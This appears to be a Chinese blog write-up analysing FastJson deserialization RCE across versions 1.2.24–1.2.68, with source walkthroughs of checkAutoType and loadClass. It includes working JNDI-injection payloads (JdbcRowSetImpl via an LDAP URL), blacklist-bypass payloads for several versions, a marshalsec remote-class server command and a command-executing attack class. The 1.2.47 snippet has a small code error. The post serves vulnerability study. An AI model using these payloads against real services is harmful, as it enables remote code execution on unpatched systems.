FastJson反序列化系列漏洞分析

一、 基本介绍

FastJson 是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。能够将 java 对象序列化成 JSON 字符串,也能够将 JSON 字符串反序列化成 Java 对象。

当指定反序列化后的对象类型和属性信息时,会自动执行setter方法。在 JSON 字符串中通过@type指定反序列化的类。

JSON 字符串格式如下

image-20210818202242953

先来个反序列化的测试(本篇测试环境均为:windows10,fastjson版本1.2.24,JDK版本1.8.0)

import com.alibaba.fastjson.JSON;

public class user {
    private int age;
    private String name;

    public void setAge(int age) {
        this.age = age;
        System.out.print("【执行了set方法】");
    }

    public void setName(String name) {
        this.name = name;
    }

    public static void main(String[] args) {
        String str1 = "{\"@type\":\"user\", \"age\":24, \"name\":\"jinzhi\"}";
        String str2 = "{\"age\":24, \"name\":\"jinzhi\"}";

        Object user;
        System.out.println("--------------------------str1, 带@type----------------------------");
        user = JSON.parseObject(str1);
        System.out.println("解析不指定类型: " + user.getClass().getName());

        user = JSON.parseObject(str1, Object.class);
        System.out.println("解析指定Object类型: " + user.getClass().getName());

        user = JSON.parseObject(str1, user.class);
        System.out.println("解析指定user类型: " + user.getClass().getName());

        System.out.println("--------------------------str2, 不带@type----------------------------");
        user = JSON.parseObject(str2);
        System.out.println("解析不指定类型: " + user.getClass().getName());

        user = JSON.parseObject(str2, Object.class);
        System.out.println("解析指定Object类型: " + user.getClass().getName());

        user = JSON.parseObject(str2, user.class);
        System.out.println("解析指定user类型: " + user.getClass().getName());

        System.out.println("-------------------使用parse()函数, 解析时无法指定类型----------------------");
        user = JSON.parse(str1);
        System.out.println("带@type: " + user.getClass().getName());

        user = JSON.parse(str2);
        System.out.println("不带@type: " + user.getClass().getName());
    }
}

image-20210821133310214

结论:

根据执行set方法的情况,当反序列化代码中没有指定对象具体类型时,存在反序列化漏洞。可以通过@type指定反序列化类,并通过指定属性执行特定的setter方法。

二、 JdbcRowSetImpl利用链简单介绍

JdbcRowSetImpl利用链是由@matthias_kaiser在2016年发现的

根据上面的结论,需要找到一个特殊的类,这个类的setter方法中可以执行代码注入或命令注入。而com.sun.rowset.JdbcRowSetImpl就是符合这个条件的类,通过JNDI注入实现命令执行。

  1. 通过fastjson反序列化可以调用执行目标类的setter方法来实现成员变量的赋值

  2. 首先找到com.sun.rowset.JdbcRowSetImpl#connect方法,在方法中调用lookup方法且传参是this.getDataSourceName(),同时该类存在setDataSourceName方法,那么说明lookup方法的传参是可控的

  3. 接下来就要找在哪里可以调用connect方法,根据1的结论,需要在类中找到一个setter方法,方法中调用了connect方法。简单搜索一下,发现setAutoCommit方法

  4. 所以JSON字符串中需要传入两个属性值:DataSourceNameAutoCommit,前者是JNDI服务器的地址作为lookup的传参,后者用于执行setAutoCommit方法从而触发connect方法的执行

  5. 最终构造出RCE的payload(DataSourceName必须放在AutoCommit前面,因为反序列化的时候是按字符串前后顺序去调用的setter方法赋值变量)

    {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ExecTest\", \"autoCommit\":true}
    

    这里采用 JNDI 服务器使用 LDAP 方式

三、 环境搭建
  1. 编译远程需要加载的攻击类(构造方法中能够执行命令就行)

    public class ExecTest {
        public ExecTest() throws Exception {
            Process calc = Runtime.getRuntime().exec("calc");
        }
    }
    
     javac ExecTest.java
    
  2. 在攻击类所在的目录起一个http服务

    python3 -m http.server 8888
    
  3. 起一个JNDI服务绑定攻击类,需要用到marshalsec反序列化工具

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#ExecTest 1389
    
  4. 新建maven项目,起一个目标靶机服务,fastjson版本1.2.24,开启一个接口服务或者直接在main方法中测试都行

    @Controller
    @RequestMapping("/fastjson")
    public class Fastjson {
        @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
        @ResponseBody
        public String Deserialize(@RequestBody String params) {
            // 如果Content-Type不设置application/json格式,post数据会被url编码
            try {
                // 将post提交的string转换为json
                JSONObject ob = JSON.parseObject(params);
                return ob.get("name").toString();
            } catch (Exception e) {
                return e.toString();
            }
        }
    
        public static void main(String[] args) {
            String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ExecTest\", \"autoCommit\":true}";
            JSON.parseObject(payload, Feature.SupportNonPublicField);
        }
    }
    
四、反序列化流程分析(1.2.24版本)

在正是进入代码分析之前,先介绍下主要用到的类

类名主要作用
DefaultJSONParserJSON 词法解析器,实现反序列化的主要流程,包含主要方法的具体实现
JSONScanner专门做JSON字符串的扫描遍历工作,父类 JSONLexerBase,实现接口 JSONLexer
lexer.tokenint类型变量,用于解析JSON字符串格式。JSON字符串中预定义的字符都会对应到一个token值,比如:{对应token值为12
ParserConfig配置类,存放各种配置属性,比如 autoTypeSupport 开关、黑名单类
ParserConfig.deserializersIdentityHashMap对象,和 TypeUtils.mappings 一样提前放入了一些认为没有危害的固定常用类
TypeUtils.mappings缓存需要反序列化的类的class对象,在初始化的时候会预先缓存一些常见类
ObjectDeserializer用于执行反序列化操作,每个将被反序列的类会对应一个 ObjectDeserializer 对象

正式开始Debug,Go

  1. JSON.parseObject函数进入(从JSON.parse进入也一样,最终都是走到DefaultJSONParser#parse(java.lang.Object),调用链是一致的)

  2. 跟踪代码先来到JSON#parse(java.lang.String, int)

    在函数中实例化了DefaultJSONParser解析器,从这里进去解析器中完成所有的解析过程
    image-20210821161156562

  3. 先跟进到DefaultJSONParser的构造方法中看下,可以看到同时new了一个JSONScanner对象,将json字符串封装了进去

    image-20210821162305148

    在 JSONScanner 中,主要工作通过 ch 变量从左到右遍历 JSON 字符串,并通过getCurrent取出当前遍历的值

    image-20210821165335905

    继续跟到下一层构造方法中,可以看到对token值的初始化,这个token值很重要

    image-20210821165556516

  4. 跳出DefaultJSONParser的初始化,跟进到DefaultJSONParser#parse(java.lang.Object),因为第一个字符是{,会进入到以下分支中继续执行
    image-20210821165806904

  5. 接着进入DefaultJSONParser#parseObject(java.util.Map, java.lang.Object),将会在这个函数中完成反序列化工作

    首先从第一个字符开始遍历,根据字符进入到相应分支中。当遇到"时可以通过scanSymbol函数直接取出分号中的值赋值给key

    image-20210821171425720

    然后判断key是否为@type,并进入到相应分支,然后TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)函数中通过类名加载注入的类

    image-20210821173105326

    这个loadClass函数需要重点分析一下,后续版本的防护被绕过就是因为这里(可以先跳过,后续再看)

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className); 
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {		// 如果classname是以'['开头的就去除后在加载类对象
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) { // 如果是以'L'开头并以';'结尾,也同样去除后在加载类对象,注意这边是递归调用loadClass,所以存在后面双写绕过的漏洞
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {										// 在这个分支中,直接加载类对象后,将类对象放到缓存mappings中(这个很重要,后面的1.2.47版本绕过会用到)
                try {
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        mappings.put(className, clazz);		// 这边获取到class对象之后直接缓存到mappings中了,后续版本会增加cache变量进行控制是否缓存
                        return clazz;
                    }
                } catch (Throwable var6) {
                    var6.printStackTrace();
                }
    
                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null && contextClassLoader != classLoader) {
                        clazz = contextClassLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var5) {
                }
    
                try {
                    clazz = Class.forName(className);
                    mappings.put(className, clazz);
                    return clazz;
                } catch (Throwable var4) {
                    return clazz;
                }
            }
        } else {
            return null;
        }
    }
    

    最后通过parser.deserializer.JavaBeanDeserializer#deserialze()实例化类对象,注意这边将this(也就是当前DefaultJSONParser对象作为参数又传进去了),在这个函数里面继续遍历剩下的JSON字符串,进行成员变量的赋值。

    image-20210821173356052

    继续跟进,从parser.deserializer.JavaBeanDeserializer#parseFieldparser.deserializer.DefaultFieldDeserializer#parseField再到parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)

    image-20210821212933363

    image-20210821213140896

  6. 最后,整体执行的调用链如下, 可以看到从setValue开始通过反射invoke调用了目标类(JdbcRowSetImpl)的的成员属性的setter方法,最终导致了JNDI注入,加载运行了远程类(ExecTest)。

    image-20210821214926556

总结一下:

  1. 传入 JSON 字符串进行词法解析(DefaultJSONParser#parseObject()

  2. 获取 class 对象(loadclass()/checkautotype()

  3. 获取 JavaObjectDeserializer(ParserConfig#getDeserializer()

  4. 反序列化获得对象(ObjectDeserializer#deserialze()

五、 多个版本漏洞分析
版本需要开启AutoType版本说明漏洞原理
1.2.24默认开启最初报出漏洞的版本,fastjson官方主动爆出在 1.2.24 及之前版本存在远程代码执行高危安全漏洞。可以通过@type属性反序列化任意类导致任意代码执行
<=1.2.25引入了AutoTypeSupport安全开关用于关闭对@type的支持,就不能反序列化任意类了(默认关闭), ParserConfig.getGlobalInstance().setAutoTypeSupport(true) // 开启autoType。另外,增加checkAutoType安全检查函数对反序列化的类进行黑白名单过滤。通过类描述符(L开头;结尾)绕过黑白名单限制。
<=1.2.42初步修复类描述符绕过方式(采用substring处理字符串,还不是递归的),并且将原本的明文黑名单转为使用了 Hash 黑名单,防止安全人员对其研究。双写类描述符进行绕过
<=1.2.43修复双写绕过问题(连续出现两个类描述符直接抛异常)。使用 [类描述符 绕过黑名单防护
1.2.44修复了使用 [ 绕过黑名单防护的问题(直接抛异常)。
<=1.2.45出现了新的利用类直接绕过了黑名单限制org.apache.ibatis.datasource.jndi.JndiDataSourceFactory单纯的黑名单绕过
<=1.2.47这个版本之前的漏洞都必须要在开启 AutoTypeSupport 的情况下才能利用。该版本中,通过利用类缓存机制(通过java.lang.Class类提前带入恶意类并缓存到 TypeUtils.mappings 中),可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。(漏洞点在 checkAutoType 中)fastjson会将一些基本类型的类对象提前放到mappings中缓存,通过类缓存机制可以绕过黑白名单检测
1.2.48修复了上个版本的漏洞在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存
<1.2.51该版本之后能够进行JNDI攻击的类基本都在黑名单中了,无法单纯依靠JDK实现JNDI注入
<=1.2.68这个版本引入了safemode,彻底关闭对@type的支持,一劳永逸(如果业务用不着的话)JSON字符串中连续两个@type,前一个@type的类会作为expectClass参数传入checkAutoType,利用 expectClass不为空来绕过 checkAutoType中的黑白名单校验


1.2.25
payload:
public class fastjsonTest {
    public static void main(String[] args) {
        
        String payload_25 = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ExecTest\", \"autoCommit\":true}";
        JSON.parseObject(payload_25);
    }
}
  1. 相对于上一个版本的改动在于增加checkAutoType方法对反序列化的类进行黑白名单检查

    image-20210822161436468

  2. 这个方法需要重点分析,接下来的几个版本漏洞都和这个方法有关

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) { // 如果autoTypeSupport开启,会进入到这个分支中进行黑白名单匹配,或者expectClass不为空,也会进入这个分支
                int i;
                String deny;								   // 后续版本的黑白名单匹配会改为hash值的比较
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }
    
                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }
    
            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);	// 这是不经过黑名单检验可以获得class对象的方式,也是1.2.47版本用来绕过的点
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }
    
            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }
    
                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }
    
                            return clazz;
                        }
                    }
                }
    
                if (this.autoTypeSupport || expectClass != null) {					// 这又是一个不经过黑白名单就能获取class对象的点,也是1.2.68版本的漏洞点
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }
    
                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
    
                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {     				// 判断clazz是否继承/实现自expectClass
                            return clazz;
                        }
    
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }
    
                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }
    
  3. 因为利用类名前后的类描述符绕过了黑名单的检测,再进入到loadClass中又脱掉了类描述符,完成class对象的加载

    image-20210824211047281

1.2.47

如下 JSON 字符串会被解析反序列化成两个对象,当反序列化第一个对象的时候,返回 val 属性表示的类实例并将对象放到 mappings 中。这样在反序列化第二个类的时候就绕过了 autoTypeSupport 和黑名单

payload:
public class fastjsonTest {
    public static void main(String[] args) {
        String payload_47 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}, \"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true\"}\"}";
        JSON.parseObject(payload_68);
    }
}
  1. 直接快进到 checkAutoType,跟进看下
    image-20210825203024042

  2. 因为 deserializers 中预先存了java.lang.Class这个类,所以这边直接能取到

    com.alibaba.fastjson.parser.ParserConfig#initDeserializers

    image-20210826190224207

    image-20210825203157754

  3. 接着获取 deserializer 对象(MiscCode类,这个很关键),并进行反序列化。继续跟进看下反序列化时的操作

    image-20210825203440987

  4. 进来之后会进行判断解析到的字符串,键值必须是 val 才会进入到如下分支,将 val 属性值赋值给 objVal,接着传递到 strVal(注意是字符串类型)

    image-20210825204215307

  5. 接着会进到如下分支,去加载 val 属性所表示的类对象

    image-20210825204741139

  6. 重点来了,在这个版本中,TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean), 第三个参数默认传参为 True,而这个参数代表是否缓存类对象,由此com.sun.rowset.JdbcRowSetImpl类被缓存到 mappings 中

    image-20210825205232764

    image-20210825205307462

  7. 那么接下来,再反序列化下一个类的时候,直接从 mappings 中就取到了 class 对象

    image-20210825205821255

1.2.68

当JSON字符串中出现两个@type,在反序列化的时候第一个类的class对象将作为expectClass传参用来反序列化生成第二个类的class对象。

同时第一个类必须通过黑白名单检测,第二个必须继承/实现第一个类,这样能够利用的类就很有限。在1.2.51版本之后,能够实现JNDI注入的类目前都在黑名单中了,所以单纯依靠JDK中的类无法再进行任意命令执行(可以通过其他第三方jar包中的类实现)。AutoCloseable接口是满足以上条件的类,并且刚好在TypeUtils#mappings中。目前能够直接利用的就是通过 IntputStream 和 OutputStream(实现自 AutoCloseable接口)来进行文件的读写,但还没有公开的payload。这边就本地写个类实现 AutoCloseable 接口,测试一下。

ExecTest:
public class ExecTest implements AutoCloseable {
    public ExecTest()  throws Exception {
        Process calc = Runtime.getRuntime().exec("calc");
    }
    @Override
    public void close() throws Exception {
    }
}

payload:
public class fastjsonTest {
    public static void main(String[] args) {
        String payload_68 = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"ExecTest\"}";
        JSON.parseObject(payload_68);
    }
}

跟进代码看下

  1. 获取第一个类的class对象,直接从很缓存 mappings 中获取了,然后进行反序列化获取实例对象

    image-20210824202213814

    image-20210824202410995

    image-20210824203230199

  2. 传入第二个@type参数,开始反序列化第二个类,并将第一个类实例作为expectClass传参

    image-20210824204304324

  3. 跟进checkAutoType,expectClass不为空所以expectClassFlag为True,进入了下面这两个分支获取并返回class对象

    image-20210824204842309

  4. 最终反序列化返回的是第二个类实例

    image-20210824205840404

以上为个人学习总结,有不正确的地方,烦请大佬帮忙指正。

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值